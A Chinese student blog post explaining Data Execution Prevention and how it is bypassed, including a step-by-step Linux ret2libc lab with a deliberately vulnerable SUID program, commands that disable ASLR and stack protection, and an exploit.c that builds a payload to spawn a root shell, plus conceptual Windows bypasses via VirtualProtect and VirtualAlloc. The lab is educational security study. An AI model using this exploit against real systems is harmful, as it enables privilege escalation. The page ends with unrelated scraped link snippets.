20155306 白皎 0day漏洞——漏洞利用原理之DEP
20155306 白皎 0day漏洞——漏洞利用原理之DEP
一、DEP机制的保护原理
1.为什么出现DEP?
溢出攻击的根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠向前兼容的修补来减少溢出带来的损害,DEP(数据执行保护,Data Execution Prevention)就是用来弥补计算机对数据和代码混淆这一天然缺陷的。
2.DEP是什么?
DEP-数据执行保护的缩写,DataExecutionPrevention。能够在内存上执行额外检查以帮助防止在系统上运行恶意代码。
2.DEP工作原理是什么?
DEP的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。DEP 的主要作用是阻止数据页(如默认的堆页、各种堆栈页以及内存池页)执行代码。

二、利用Ret2Lib绕过DEP
- Linux下利用Ret2Libc绕过DEP
原理分析
系统库函数通常是不受DEP保护的,所以通过将返回地址指向系统函数可以绕过DEP保护,所以可以通过调研系统函数system()获得shell。system函数是通过/bin/sh命令去执行一个用户执行命令或者脚本,因此,我们完全可以利用system来实现Shellcode的功能。
return-into-libc原理:
攻击者能够通过缓冲区溢出改写返回地址为一个库函数的地址,并且将此库函数执行时的参数也重新写入栈中。这样当函数调用时获取的是攻击者设定好的参数值,并且结束后返回时就会返回到库函数而不是 main()。而此库函数实际上就帮助攻击者执行了其恶意行为。
攻击步骤
1.输入命令安装一些用于编译 32 位 C 程序的东西。
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev
2.输入命令“linux32”进入 32 位 linux 环境。输入“/bin/bash”使用 bash。
关闭地址空间随机化,不能随机堆(heap)和栈(stack)的初始地址。以及设置堆栈不可执行。
gcc -z noexecstack -o test test.c //栈不可执行
sudo sysctl -w kernel.randomize_va_space=0 //关闭地址随机化

3.添加一个新用户,可以参考教程:linux中新建一个用户

4.即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在/bin/bash 中实现。
linux 系统中,/bin/sh 实际是指向/bin/bash 或/bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替/bin/bash。下面的指令描述了如何设置 zsh 程序。

5.把以下漏洞代码保存为“retlib.c”文件,保存到 /tmp 目录下,并进行编译,设置。代码如下:
include <stdlib.h>
include <stdio.h>
include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 40, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}

6.编译上述程序编译该程序,并设置 SET-UID。
sudo su//获取root权限
gcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.c//设置栈不可执行
chmod u+s retlib //给retlib程序的所有者以suid权限,可以像root用户一样操作
exit

7.此外,我们还需要用到一个读取环境变量的程序,并通过 gcc -m32 -o getenvaddr getenvaddr.c进行编译。
include <stdio.h>
include <stdlib.h>
include <string.h>
int main(int argc, char const *argv[])
{
char *ptr;
if(argc < 3){
printf("Usage: %s <environment var> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
printf("%s will be at %p\n", argv[1], ptr);
return 0;
}
8.获得 BIN_SH 地址
export BIN_SH="/bin/sh"
echo $BIN_SH
./getenvaddr BIN_SH ./reblic


9.以下代码为攻击程序,保存为“exploit.c”文件,保存到 /tmp 目录下。
include <stdlib.h>
include <stdio.h>
include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen(".//badfile", "w");
strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times
*(long *) &buf[32] =0x11111111; // "//bin//sh"
*(long *) &buf[24] =0x22222222; // system()
*(long *) &buf[36] =0x33333333; // exit()
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
10.获取 system 和 exit 地址
gcc -m32 -g -o exploit exploit.c//编译
gdb -q ./exploit//调试
b 10//设置断点
run//运行到断点处
p system//获取system地址
p exit//获取exit地址


11.修改 exploit.c 文件,填上刚才找到的内存地址。删除刚才调试编译的 exploit 程序和 badfile 文件,重新编译修改后的 exploit.c。


12.首先运行攻击程序,生成badfile文件,载运行漏洞程序,可以看到攻击成功,获得root权限。

问题:
1.在编译retlib程序时,出现如下错误:bits/libs-header-start.h没有那个文件或目录

解决:下载sudo apt-get install lib32readline-gplv2-dev软件包,即可解决

- Windows下绕过DEP
突破思路:
既然DEP不允许直接执行,我们可以在其他可执行位置为shellcode中的溢出部分找到替代指令(shellcode中0x90用于填充),进而使被覆盖的函数返回地址执行我们预定的指令,来关闭DEP或者对内存空间做一些新操作,就可以完成exploit了。(每一条指令都有一个ret,以便回收程序控制权),如下图:

在做实验之前,首先我们要明确实验环境。DEP有四种状态:
- OptIn(选择启用,默认值):系统的默认设置是 OptIn 模式,在该设置下,仅为基本 Windows 程序和服务器用 DEP。
- OptOut(选择禁用):如果在该对话框中选择,“为除下列程序之外的所有程序和服务启用”,则会将 DEP 设置为 OptOut 模式,在该模式下,DEP 提供了更广的保护范围。但同时也意味着增加了不兼容性的可能,因此,系统在提供了一个白名单列表,可以把产生冲突的程序(一般为系统级的程序、驱动等)添加到列表中,为这些程序关闭 DEP。
- AlwaysOn:对所有进程启用DEP 的保护,不存在排序列表,在这种模式下,DEP不可以被关闭,目前只有在64位的操作系统上才工作在AlwaysOn模式。
- AlwaysOff:对所有进程都禁用DEP,这种模式下,DEP也不能被动态开启,这种模式一般只有在某种特定场合才使用,如DEP干扰到程序的正常运行。
在这里,我们需要开启DEP,设置为optout模式。

三种有效绕过DEP的exploit的方法:
- 通过跳转到ZwSetInformationProcess函数将DEP关闭后再转入shellcode执行。
一个进程的DEP设置标识保存在KPROCESS结构中的_KEXECUTE_OPTIONS上,而这个标识可以通过API函数ZwQueryInformationProcess 和 ZwSetInformationProcess 进行查询和修改。
我们只要构造一个符合函数结构体的栈帧,利用系统中已存在的关闭进程DEP的调用,构造参数来调用函数即可。
- 通过跳转到VirtualProtect函数来将shellcode所在内存页设置为可执行状态,然后再转入shellcode执行。
对所有程序默认开启DEP的情况下,如果一个程序自身偶尔需要从堆栈中取指令,就会发生错误。
函数VirtualProtect提供了修改内存属性的功能。只要我们在栈帧中布置好合适的参数,并让程序转入该函数执行,我们就可以将shellcode所在内存设置为可执行状态,从而绕过DEP。
- 通过跳转到VIrtualAlloc函数开辟一段具有执行权限的内存空间,然后将shellcode复制到这段内存中执行。
函数VirtualAlloc可以用来申请一段具有可执行属性的内存。我们将Ret2Libc的第一条设置为该函数地址,然后将shellcode代码复制到申请的空间之中既可以绕过DEP。
参考文献:
[1]王清.《0day安全:软件漏洞分析技术》[M].中国:电子工业出版社,2008.
[2]王清.《0day安全:软件漏洞分析技术(第2版)》[M].中国:电子工业出版社,2011.
20155306 白皎 0day漏洞——漏洞利用原理之DEP的更多相关文章
- 20155306 白皎 0day漏洞——漏洞利用原理之GS
20155306 白皎 0day漏洞--漏洞利用原理之GS 一.GS安全编译选项的保护原理 1.1 GS的提出 在第二篇博客(栈溢出利用)中,我们可以通过覆盖函数的返回地址来进行攻击,面对这个重灾区, ...
- 20155306 白皎 0day漏洞——漏洞利用原理之栈溢出利用
20155306 白皎 0day漏洞--漏洞利用原理之栈溢出利用 一.系统栈的工作原理 1.1内存的用途 根据不同的操作系统,一个进程可能被分配到不同的内存区域去执行.但是不管什么样的操作系统.什么样 ...
- 20155306 白皎 0day漏洞——基础知识
20155306 白皎 0day漏洞--(第一篇)基础知识 写在前面: 本次免考实践方向是0day漏洞,以博客的形式记录了我的学习实践过程.第一篇博客主要围绕什么是0day漏洞以及一些以后学习中需要的 ...
- 20155306 白皎 0day漏洞——漏洞的复现
一.Ubuntu16.04 (CVE-2017-16995) 1.漏洞概述 Ubuntu最新版本16.04存在本地提权漏洞,该漏洞存在于Linux内核带有的eBPF bpf(2)系统调用中,当用户提供 ...
- 20155306 白皎 《网络攻防》 Exp2 后门原理与实践
20155306 白皎 <网络攻防> Exp2 后门原理与实践 一.实践基础 后门程序又称特洛伊木马,其用途在于潜伏在电脑中,从事搜集信息或便于黑客进入的动作.后程序和电脑病毒最大的差别, ...
- 20155306白皎 《网络对抗》 Exp9 Web安全基础实践
20155306白皎 <网络对抗> Exp9 Web安全基础实践 一.基本问题回答 SQL注入攻击原理,如何防御 原理是: 就是通过把SQL命令插入到"Web表单递交" ...
- 20155306 白皎 《网络攻防》 EXP8 Web基础
20155306 白皎 <网络攻防> EXP8 Web基础 一.问题回答 - 什么是表单 表单:一般用来收集用户的信息和反馈意见 表单包括两个部分:一部分是HTML源代码用于描述表单(例如 ...
- 20155306 白皎 《网络攻防》Exp1 PC平台逆向破解——逆向与Bof基础
20155306 白皎 <网络攻防>Exp1 PC平台逆向破解--逆向与Bof基础 实践相关说明 1.1 实践目标 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数. ...
- 20155306 白皎 《网络攻防》 EXP7 网络欺诈技术防范
20155306 白皎 <网络攻防> EXP7 网络欺诈技术防范 问题回答 (1)通常在什么场景下容易受到DNS spoof攻击 局域网内的攻击以及连接公众场所的共享wifi (2)在日常 ...
随机推荐
- idea 关联 jdk
1.打开IntelliJ IDEA 2.选择 "File" 菜单 3.找到 "other settings" 4.选择 “Structure for new P ...
- [我的阿里云服务器] —— WordPress Permalink Settings
前言: 固定链接(Permalink)是博客日志.分类及其他博客内容列表的永久URL. 别人可以通过固定链接链接到你的文章上,你也可以在email中发送某篇日志的链接. 所有日志的URL应为永久性.固 ...
- linux查看某IP尝试连接成功和失败次数
查看连接失败次数 cat /var/log/secure | awk '/Failed/{print $(NF-3)}' | sort | uniq -c | awk '{print $2" ...
- c#中(&&,||)与(&,|)的区别和应用
对于(&&,||),运算的对象是逻辑值,也就是True/False &&相当与中文的并且,||相当于中文的或者 .(叫做逻辑运算符又叫短路运算符) 运算结果只有下列四种 ...
- 03-01_WebLogic一些概念名词
WebLogic一些概念名词 域(Domain) 管理服务器(Administrative Server) 被管服务器(Managed Server,受管服务器) 集群(Cluster) 机器(Mac ...
- 小米正式开源 SQL 智能优化与改写工具 SOAR
近日,小米正式宣布开源 SOAR. 截至今日,该项目已经获得了 350 个「star」以及 44 个「fork」(GitHub项目地址:https://github.com/XiaoMi/soar) ...
- pythonGUI编程-tkinter
图形用户界面( G raphical U ser I nterface,GUI)编程 Python2.0级以下的版本叫做Tkinter,Python3.0改名为tkinter tkinter 模块:添 ...
- Year 2038 problem (2038年问题)
From Wikipedia, the free encyclopedia Animation showing how the date would reset, represented ...
- Mac上编译OpenJDK过程记录
编译OpenJDK主要为了学习HotSpot,编译过程在很多相关书籍中都有所涉及,但由于机型.机子具体环境的不同,很难有资料能够一步到位.还是得碰到具体问题通过上网查来一个个解决. 下载OpenJDK ...
- MySQL备份与恢复.md
备份与恢复使用的命令 mysqldump 常用选项 -A, --all-databases:导出全部数据库 -B, --databases:导出几个数据库.参数后面所有名字参量都被看作数据库名. -- ...